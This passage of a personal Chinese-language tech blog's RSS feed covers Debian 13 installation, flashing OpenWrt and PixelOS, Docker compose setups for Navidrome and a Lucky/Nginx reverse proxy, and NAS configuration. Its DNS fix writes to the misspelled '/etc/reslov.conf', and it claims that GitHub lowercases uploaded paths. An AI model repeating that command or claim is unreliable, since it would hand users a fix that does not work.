&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;文章&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个功能我可能不太能够用的上，就是&lt;code&gt;Google&lt;/code&gt;的&lt;code&gt;Firebase&lt;/code&gt;后端用于统计查看人数的，不过阅读者是国内网络根本不会统计，还有就是我对于数字计量阅读热度很讨厌，所以可以看个人需求进行更改。&lt;/p&gt;
&lt;h3&gt;踩坑&lt;/h3&gt;
&lt;p&gt;我觉得这应该是我才过路径这些东西里最大的一个坑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318183515431.webp&quot; alt=&quot;image-20260318183515431&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个是&lt;code&gt;GitHub&lt;/code&gt;上面我的零碎随笔目录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本地&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318183559770.webp&quot; alt=&quot;image-20260318183559770&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个则是我本地的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;也就是说，上传GitHub之后所有的大写字母全部是小写，所以文章引用图片路径全部要是小写&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/hugo-blog-setup/image-20260318183707130.webp&quot; alt=&quot;image-20260318183707130&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;总体算是比较成功的博客迁移，这也让我再一次学到英文路径只有小写的道理，在之前其实&lt;code&gt;GitHub&lt;/code&gt;根本不支持中文路径的，现在相比之前会好很多了。&lt;/p&gt;
</content:encoded></item><item><title>Debian13安装</title><link>https://ivoinkwell.xyz/posts/linux-exploration/debian13-installation/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/linux-exploration/debian13-installation/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;安装&lt;/h1&gt;
&lt;p&gt;安装Debian13的时候给了我不少的惊喜，尤其是网络安装上面，给用户的选择更多，安装的速度也明显更快，选择完镜像源之后可以明显发现下载速度提升，相比Debian12选择完之后只有main源是镜像源有很大的改善，但是security源还是Debian官方的。&lt;/p&gt;
&lt;h3&gt;磁盘分区&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-07-21_17-55-56.webp&quot; alt=&quot;PixPin_2025-07-21_17-55-56&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里比Debian12多出了更多的选项，小于10GB硬盘的有单独的模式，这个就非常考虑老旧的硬件。&lt;/p&gt;
&lt;h3&gt;软件源&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-08-10_10-02-08.webp&quot; alt=&quot;PixPin_2025-08-10_10-02-08&quot; /&gt;&lt;/p&gt;
&lt;p&gt;相较于之前的软件源，这次多了neusoft和nyist两个新的软件源，分别是南阳理工大学和东软公司。但是镜像源的第一梯队还是清华（tsinghua）和中科大（ustc）比较稳定。我更推荐&lt;a href=&quot;https://mirrors.ustc.edu.cn/help/debian.html&quot;&gt;USTC&lt;/a&gt;的,里面注释掉了很多不稳定的，比如新的backports，也许只是适合服务器，但是对于我这种不喜欢更新的人来说还是非常好的，毕竟你也不知道更新之后会多什么新功能，哪里有什么问题，所以之前用什么，现在就用什么就很好了。&lt;/p&gt;
&lt;h3&gt;桌面环境&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-08-10_10-03-38.webp&quot; alt=&quot;PixPin_2025-08-10_10-03-38&quot; /&gt;&lt;/p&gt;
&lt;p&gt;新增了一个定制的选项放在最下面，也就是**&lt;code&gt;Choose a Denian Blend for installation&lt;/code&gt;**选项，这个定制选项对于正常使用的帮助不大，可以适当了解一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/image-20250810132648949.webp&quot; alt=&quot;image-20250810132648949&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;剩余时间计算&lt;/h3&gt;
&lt;p&gt;这次的剩余时间计算相对来说准确了不少，已经能够正常显示，不会动不动就出现1天甚至5，6个小时的情况出现，这个是我正常选择完xfce桌面之后的安装情况截图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-08-10_10-04-20.webp&quot; alt=&quot;PixPin_2025-08-10_10-04-20&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;进入系统&lt;/h3&gt;
&lt;p&gt;Debian12再安装完成之后通常要手动点击重启之后才会进入系统，所以比较麻烦，但是Debian13现在安装完成之后可以正常自动重启进入系统，不需要再像之前一样盯着&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/0810.webp&quot; alt=&quot;0810&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;体验&lt;/h2&gt;
&lt;h3&gt;终端&lt;/h3&gt;
&lt;p&gt;Debian13的终端相较于之前有了很大的改善：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;界面与Fedora越来越相似，变得简洁，美观。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-08-10_10-21-41.webp&quot; alt=&quot;PixPin_2025-08-10_10-21-41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安装界面进度条也不再是由&lt;code&gt;#&lt;/code&gt;组成的长条，而是常见的白色矩形进度条。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/linux-exploration/debian13-installation/PixPin_2025-08-10_10-21-58.webp&quot; alt=&quot;PixPin_2025-08-10_10-21-58&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;经过我简短的使用Debian13这个系统，我认为 &lt;strong&gt;Debian 13 Trixie 对新人用户的友好度已经达到了一个相当高的水平&lt;/strong&gt;。对于初次接触 Linux 桌面环境感到迷茫，或者难以决定哪个桌面更适合自己习惯的朋友，&lt;strong&gt;Debian 提供的 Live 镜像是一个绝佳的切入点&lt;/strong&gt;：无需安装，直接启动体验，零成本试错。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;尤其关键的是其软件管理生态的“纯粹性”。&lt;/strong&gt; Ubuntu 24.04 固然优秀，但其默认推广的 Snap 软件包格式（尤其是在基础组件上），对于一个连 &lt;code&gt;apt&lt;/code&gt;或 &lt;code&gt;dnf&lt;/code&gt;这类基本包管理器概念都尚未厘清的新手而言，&lt;strong&gt;无异于增加了额外的复杂性维度&lt;/strong&gt;。学习使用传统包管理器本身就有一个曲线，此时再引入 Snap（及其后台服务、自动更新、存储隔离等机制），很可能 &lt;strong&gt;雪上加霜，徒增认知负担和潜在困惑&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;因此，在“简洁”、“直观”和“避免不必要的干扰”这几个对新用户至关重要的维度上，Debian 13 反而展现出了超越 Ubuntu 的优势&lt;/strong&gt;。它提供了一套更为统一、直接的软件安装管理体验（主要基于强大的 APT 和广大的 deb 软件库），默认状态下的桌面环境也足够清晰易用。如果你想迈出 Linux  探索的第一步，寻求一个扎实、清爽、干扰少的起点，Debian 13 绝对是一个更优的选择。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>晶晨S905L刷OpenWrt</title><link>https://ivoinkwell.xyz/posts/specks/amlogic-s905l-openwrt/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/amlogic-s905l-openwrt/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在Linux里面有一句古话说的十分的好，那就是“科技以换壳为本”。之前安装打印机驱动也是如此，所以我们首先要找到能够支持晶晨S905L的镜像文件。&lt;/p&gt;
&lt;h2&gt;镜像&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;项目源地址如下，点击图片即可跳转：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ophub/amlogic-s9xxx-openwrt&quot;&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/amlogic-s905l-openwrt/image-20260119220740295.webp&quot; alt=&quot;image-20260119220740295&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在release页面中找到自己要的OpenWrt系统和对应的芯片型号，下载压缩包并解压。我个人更喜欢纯净的&lt;strong&gt;OpenWrt_openwrt_main_save&lt;/strong&gt;这个版本，但是&lt;strong&gt;OpenWrt_immortalwrt_master_save&lt;/strong&gt;这个版本会更易用一些。&lt;/p&gt;
&lt;h2&gt;安装&lt;/h2&gt;
&lt;p&gt;以下步骤在安装的时候没有做详细图片的留存，所以只能做详尽文字描述。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://lylebox.dpdns.org:8443/s/c6b2b5fd40d94f43bb&quot;&gt;准备工具&lt;/a&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;USB Buring Tool（链接中下载）&lt;/li&gt;
&lt;li&gt;安卓刷机包（链接中下载）&lt;/li&gt;
&lt;li&gt;OpenWrt固件（链接中已有，也可以在GitHub下载）&lt;/li&gt;
&lt;li&gt;U盘（&amp;gt;16G）&lt;/li&gt;
&lt;li&gt;abdcmd（链接中名字，用于进行U盘启动）&lt;/li&gt;
&lt;li&gt;balenaEtcher&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;步骤：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确保盒子中使用的系统是安卓系统，如若不是请自行搜索如何使用&lt;code&gt;USB Buring Tool&lt;/code&gt;工具进行刷机。&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;balenaEtcher&lt;/code&gt;将系统镜像写入U盘中。&lt;/li&gt;
&lt;li&gt;打开机顶盒，进入安卓系统，在路由器后台管理界面获取机顶盒的IP地址。&lt;/li&gt;
&lt;li&gt;解压adbcmd压缩包，运行bat脚本，输入机顶盒的IP地址，在安卓系统关机的一瞬间插入写好的U盘。&lt;/li&gt;
&lt;li&gt;其默认的IP地址是192.168.1.1，如果和家庭网络设备有冲突的情况下，可以用网线将盒子连接到电脑，电脑输入IP进入后台管理界面。&lt;/li&gt;
&lt;li&gt;进入安装界面：System - Amlogic Service - Install OpenWrt&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/amlogic-s905l-openwrt/image-20260124161455622.webp&quot; alt=&quot;image-20260124161455622&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如何去选择这个model还是需要去看看Armbian里面的dtb文件的序号，没有上面具体型号，但是CPU是晶晨的S905L的可以参考我的，选择116。&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/amlogic-s905l-openwrt/IMG_20260118_194035.webp&quot; alt=&quot;IMG_20260118_194035&quot; /&gt;&lt;/li&gt;
&lt;li&gt;等待其提醒安装完成后，不要拔掉U盘，重启，等能进系统之后再拔掉U盘。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Docker部署Navidrome+MusicTagWeb搭建私人音乐库</title><link>https://ivoinkwell.xyz/posts/specks/docker-navidrome-musictagweb-music-server/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/docker-navidrome-musictagweb-music-server/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;如果你是一个使用旧电脑，性能比较差的设备跑NAS，但是又想体验很多功能，那么轻量的Navidrome一定是一个不错的选择，但是安装后却发现音乐播放与之前自己充vip的听歌体验并不相同，虽然喜欢极简的播放器，但是把歌词和封面省略着实是不应该了。但是如果自己去一个一个下载，不说资源好不好找，就光是这个动作就已经非常浪费时间了，所以MusicTagWeb的自动刮削也是必不可少的。&lt;/p&gt;
&lt;h2&gt;为什么不用NAS软件商店中的Navidrome？&lt;/h2&gt;
&lt;p&gt;对于我来说确实不是非常好控制路径，所以选择我Docker更放心一些。正好将两个容器放在一个compose里面部署也简洁省事&lt;/p&gt;
&lt;h2&gt;如何搭建和部署&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;下面是我的compose文件：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3&quot;
services:
  # Navidrome 音乐服务器
  navidrome:
    image: deluan/navidrome:latest
    container_name: navidrome
    ports:
      - &quot;4533:4533&quot;
    environment:
      - ND_LOGLEVEL=info
      - ND_MUSICFOLDER=/music
      - ND_DATAFOLDER=/data
      - ND_ENABLEDOWNLOADS=true
    volumes:
      - /vol1/1001/06_Music:/music  # 你的音乐目录，和NAS路径对应
      - ./navidrome:/data  # Navidrome 数据持久化
    restart: always
    networks:
      - music-network

  # MusicTagWeb 音乐标签编辑器
  musictagweb:
    image: xhongc/music_tag_web:latest
    container_name: musictagweb
    ports:
      - &quot;8002:8002&quot;  # 前端访问端口，可自行修改
    volumes:
      - /vol1/1001/06_Music:/app/media  # 挂载和Navidrome相同的音乐目录，直接编辑标签
      - ./musictagweb/data:/app/data  # 挂载数据存储目录
    restart: unless-stopped
    networks:
      - music-network

# 自定义网桥，两个容器互通
networks:
  music-network:
    driver: bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;这样部署为什么会适合老旧设备？&lt;/h2&gt;
&lt;p&gt;在MusicTagWeb上面，启动模式是&lt;code&gt;unless-stopped&lt;/code&gt;，也就是可以随时手动停止，等到需要添加歌曲的时候再手动打开容器搜刮歌词和图片即可。&lt;/p&gt;
</content:encoded></item><item><title>Debian配置静态IP解决DNS无法解析问题</title><link>https://ivoinkwell.xyz/posts/specks/debian-static-ip-dns-fix/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/debian-static-ip-dns-fix/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;配置静态IP&lt;/h2&gt;
&lt;p&gt;如果说是用于服务器，一定还是&lt;code&gt;/etc/network/interfaces&lt;/code&gt;这个配置文件好使。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;配置文件如下：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto enp3s5
iface enp3s5 inet static
    address 192.168.1.5/24
    gateway 192.168.1.1
    dns-nameservers 223.5.5.5 223.6.6.6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注：这里的&lt;code&gt;auto&lt;/code&gt;也是要修改的，不要忘记&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;问题出现&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;这个时候出现了这样的一个问题：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/debian-static-ip-dns-fix/Image_1766068041105.webp&quot; alt=&quot;Image_1766068041105&quot; /&gt;&lt;/p&gt;
&lt;p&gt;DNS服务器应该是没有任何问题的才对，为此我还特地检查了&lt;code&gt;dns-nameservers&lt;/code&gt;的拼写，但是很遗憾不是的。&lt;/p&gt;
&lt;h2&gt;问题检查&lt;/h2&gt;
&lt;p&gt;如果是&lt;code&gt;DNS域名解析&lt;/code&gt;的问题，那么应该不能&lt;code&gt;ping&lt;/code&gt;通域名，只能&lt;code&gt;ping&lt;/code&gt;通&lt;code&gt;IP&lt;/code&gt;的，所以需要做一下测试。&lt;/p&gt;
&lt;p&gt;结果却是非常完美，&lt;code&gt;www.baidu.com&lt;/code&gt;和&lt;code&gt;www.bing.com&lt;/code&gt;均出现了上图的问题，但是&lt;code&gt;223.5.5.5&lt;/code&gt;和&lt;code&gt;192.168.1.1&lt;/code&gt;都是没有问题的。&lt;/p&gt;
&lt;h2&gt;问题解决&lt;/h2&gt;
&lt;h4&gt;&lt;code&gt;/etc/reslov.conf&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;这个文件后来确定是以前用于控制&lt;code&gt;DNS&lt;/code&gt;的配置文件，但是Debian保留了下来，最后有一位大神用一条命令成功解决问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;nameserver 223.5.5.5&quot; &amp;gt;&amp;gt; /etc/reslov.conf
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>NAS搭建及使用</title><link>https://ivoinkwell.xyz/posts/specks/nas-setup-and-usage/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/nas-setup-and-usage/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;搭建&lt;/h2&gt;
&lt;p&gt;相对安装Linux操作系统而言FNOS的安装已经是十分简单的，进入U盘引导，选择&lt;code&gt;Graphic Install&lt;/code&gt;即可，但是在系统分区大小和使用Swap上还是需要注意。&lt;/p&gt;
&lt;h3&gt;系统分区&lt;/h3&gt;
&lt;p&gt;系统分区大小其推荐的大小通常是64G，但是往往占用没有这么高，所以我选择的是使用默认大小的一半。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-setup-and-usage/image-20251007184859616.webp&quot; alt=&quot;安装后硬盘占用情况&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Swap&lt;/h3&gt;
&lt;p&gt;Swap这个东西就相当于Windows上面的内存分页和安卓上面的虚拟内存，在NAS上如果内存&lt;code&gt;&amp;gt;8G&lt;/code&gt;完全没有必要开这个去占储存空间。&lt;/p&gt;
&lt;h2&gt;使用&lt;/h2&gt;
&lt;h3&gt;连接网址选择&lt;/h3&gt;
&lt;p&gt;我还是更愿意选择&lt;code&gt;fnos.net&lt;/code&gt;，&lt;code&gt;5ddd.com&lt;/code&gt;在我手上目前还没什么用处。之前带宽提升到8mbps，现在似乎已经没有了。&lt;/p&gt;
&lt;h3&gt;账户&lt;/h3&gt;
&lt;p&gt;我个人还是更偏向于使用一个管理员账户，加上其他普通账户，这样即使密码泄露等问题都能进行改密码，改名字解决，即使他人登录对设备的破坏也不会很大。&lt;/p&gt;
&lt;h3&gt;飞牛同步&lt;/h3&gt;
&lt;p&gt;这个功能算是我个人比较喜欢，但是因为小米云盘更好而展示没有找到使用的地方。&lt;/p&gt;
&lt;p&gt;但是要是手机上面云空间存图片等东西完全够用也不想去额外购买网盘，使用NAS同步可以，但是毕竟不像小米云盘，iCloud一样有释放空间，如果文件没有完全同步过来使用软件对文件操作，容易出现同步失败，软件中很多操作也会出错。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/nas-setup-and-usage/2735502f49ded478cabb2688bdbbb50e.webp&quot; alt=&quot;飞牛同步&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Lucky+Nginx实现公网域名访问家庭NAS</title><link>https://ivoinkwell.xyz/posts/specks/lucky-nginx-nas-public-access/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/lucky-nginx-nas-public-access/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这个标题对于我来说属实是说来话长了，在一开始我家虽然又公网的IPv4地址，但是家里的主路由一直上不去，所以无法将内网的服务转发到公网的端口上。但是元旦开始家里的网络质量一直很不好，所以拉掉电闸重新启动了一次主路由，却意外发现可以正常使用&lt;code&gt;192.168.1.1&lt;/code&gt;进入主路由的管理界面。在这样的情况下，我先开始用端口转发成功能够访问家里的NAS设备，后来升级主路由固件重启后发现IPv4是变动的，我就用飞牛自带的DDNS解析到域名&lt;code&gt;lylebox.dpdns.org&lt;/code&gt;这个域名+端口的方式进行访问，但是这样就比较的麻烦，而且不好记忆，所以在之前建站的基础上，我准备使用NAS作为&lt;code&gt;Nginx&lt;/code&gt;的服务器，将飞牛等服务绑在域名上用&lt;code&gt;Nginx&lt;/code&gt;进行转发，这样就很好的解决了访问NAS需要端口的问题，也不会443端口只能使用一个网站，下面就是我的搭建步骤：&lt;/p&gt;
&lt;h2&gt;部署Lucky和Nginx的Docker容器&lt;/h2&gt;
&lt;p&gt;可以参考我的compose文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  # Lucky 官方镜像
  lucky:
    image: gdy666/lucky:latest  # Lucky 官方仓库镜像
    container_name: lucky
    restart: always
    ports:
      - &quot;16601:16601&quot;  # Lucky 面板端口
    volumes:
      - ./lucky-certs:/var/lib/lucky/certs  # 证书持久化目录
    environment:
      - TZ=Asia/Shanghai
      - PUID=0  # root 权限解决证书写入问题
      - PGID=0
    networks:
      - ln-net

  # Nginx 官方镜像
  nginx:
    image: nginx:alpine  # Nginx 官方轻量版镜像
    container_name: nginx-proxy
    restart: always
    ports:
      - &quot;8080:80&quot;   # 标准 HTTP 端口
      - &quot;8443:443&quot; # 标准 HTTPS 端口
    volumes:
      - ./nginx-conf:/etc/nginx/conf.d  # Nginx 配置目录
      - ./lucky-certs:/etc/nginx/certs:ro  # 只读挂载 Lucky 证书
      - ./nginx-logs:/var/log/nginx  # 日志目录
    environment:
      - TZ=Asia/Shanghai
    depends_on:
      - lucky  # 确保 Lucky 先启动
    networks:
      - ln-net

# 自定义桥接网络，容器互通
networks:
  ln-net:
    driver: bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建后确保compose可以完全正常运行。&lt;/p&gt;
&lt;h2&gt;Lucky的相关配置&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;访问&lt;code&gt;IP:16601&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;默认账号密码为：&lt;code&gt;666&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;进入后台，按照提示重设安全路径和账户密码&lt;/p&gt;
&lt;p&gt;之后重新进入后点击左侧的SSL/TLS证书页面，添加证书，填入自己的域名和token，需要更改的地方更改如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/lucky-nginx-nas-public-access/image-20260103183054505.webp&quot; alt=&quot;image-20260103183054505&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后添加证书映射：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/lucky-nginx-nas-public-access/image-20260103183212721.webp&quot; alt=&quot;image-20260103183212721&quot; /&gt;&lt;/p&gt;
&lt;p&gt;格式如下：&lt;code&gt;/var/lib/lucky/certs/[your.domain.com&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Nginx相关配置&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;配置文件位置在&lt;code&gt;nginx-conf&lt;/code&gt;文件夹内，可创建多个，名字任意&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是我的配置，将其中的&lt;code&gt;[Domain]&lt;/code&gt;和&lt;code&gt;[IP Address]&lt;/code&gt;换成你自己的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 防止子域名访问主域名
server {
     listen 443 ssl default_server;
     listen 80 default_server;
     server_name _; # 匹配所有未定义的主机名
     # 443端口需配置证书（复用主域名证书即可）
     ssl_certificate /etc/nginx/certs/[Domain]/[Domain].crt;
     ssl_certificate_key /etc/nginx/certs/[Domain]/[Domain].key;
     # 直接拒绝请求，可选444（关闭连接）或404
     return 444; 
}
 
server {
    listen 80;
    server_name [Domain];
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name [Domain];
    
    # SSL 证书路径
    ssl_certificate /etc/nginx/certs/[Domain]/[Domain].crt;
    ssl_certificate_key /etc/nginx/certs/[Domain]/[Domain].key;
    
    # SSL 优化配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    
    location / {
        proxy_pass [IP Address];
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # WebSocket 支持（如果 fnOS 需要）
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection &quot;upgrade&quot;;
        
        # 缓存和超时设置
        proxy_buffering off;
        proxy_connect_timeout 90s;
        proxy_send_timeout 90s;
        proxy_read_timeout 90s;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NAS配置（手机端访问）&lt;/h2&gt;
&lt;p&gt;下载并导入证书：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/lucky-nginx-nas-public-access/image-20260103182917908.webp&quot; alt=&quot;image-20260103182917908&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Redmi Note 12T Pro刷PixelOS</title><link>https://ivoinkwell.xyz/posts/specks/redmi-note-12t-pro-pixelos/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/redmi-note-12t-pro-pixelos/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;准备工具：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://miuirom.xiaomi.com/rom/u1106245679/7.6.727.43/miflash_unlock_en_7.6.727.43.zip&quot;&gt;miflash_unlock_en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cdn.alsgp0.fds.api.mi-img.com/micomm/MiFlash2020-3-14-0.rar&quot;&gt;MiFlash&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://share.fnnas.net/s/867ec7a8a4344ca78a&quot;&gt;PiexlOS刷机包&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;解锁Bootloader&lt;/h2&gt;
&lt;p&gt;需要使用&lt;strong&gt;miflash_unlock&lt;/strong&gt;工具，手机需降级回MIUI14，解锁设备方法：“进入开发者选项 - 设备解锁状态 - 绑定账号”后即可继续。&lt;strong&gt;注：如果解锁工具连接手机后没反应，下载MiFlash打开后点击弹出的安装驱动后再试&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;进入Fastboot模式 - 关机后按住&lt;strong&gt;音量减&lt;/strong&gt;和&lt;strong&gt;电源&lt;/strong&gt;按键&lt;/li&gt;
&lt;li&gt;进入工具，手机连接电脑进行解锁&lt;/li&gt;
&lt;li&gt;等待重启后进入系统&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;刷入PixelOS&lt;/h2&gt;
&lt;p&gt;用上述方式重新进入Fastboot模式，需要下载PixelOS刷机包并解压缩。&lt;/p&gt;
&lt;p&gt;手机连接电脑，选择刚刚解压缩的刷机包，选项如图所示（&lt;strong&gt;注：我这里并未连接设备，所以未显示设备连接&lt;/strong&gt;）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/redmi-note-12t-pro-pixelos/image-20251208225923390.webp&quot; alt=&quot;image-20251208225923390&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击刷机后静待开机即可。&lt;/p&gt;
&lt;h2&gt;效果预览&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://pic.dl.ivoinkwell.xyz/file/blog/specks/redmi-note-12t-pro-pixelos/20251208-230945.webp&quot; alt=&quot;20251208-230945&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>UI设计语言——观Liquid Glass发布感悟</title><link>https://ivoinkwell.xyz/posts/specks/ui-design-liquid-glass-thoughts/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/specks/ui-design-liquid-glass-thoughts/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这个题目其实从一开始Beta版开始的时候就已经起草，但是一直到现在又重新写一遍，其中有我想讲的很多事情。&lt;/p&gt;
&lt;h2&gt;为什么要用玻璃？&lt;/h2&gt;
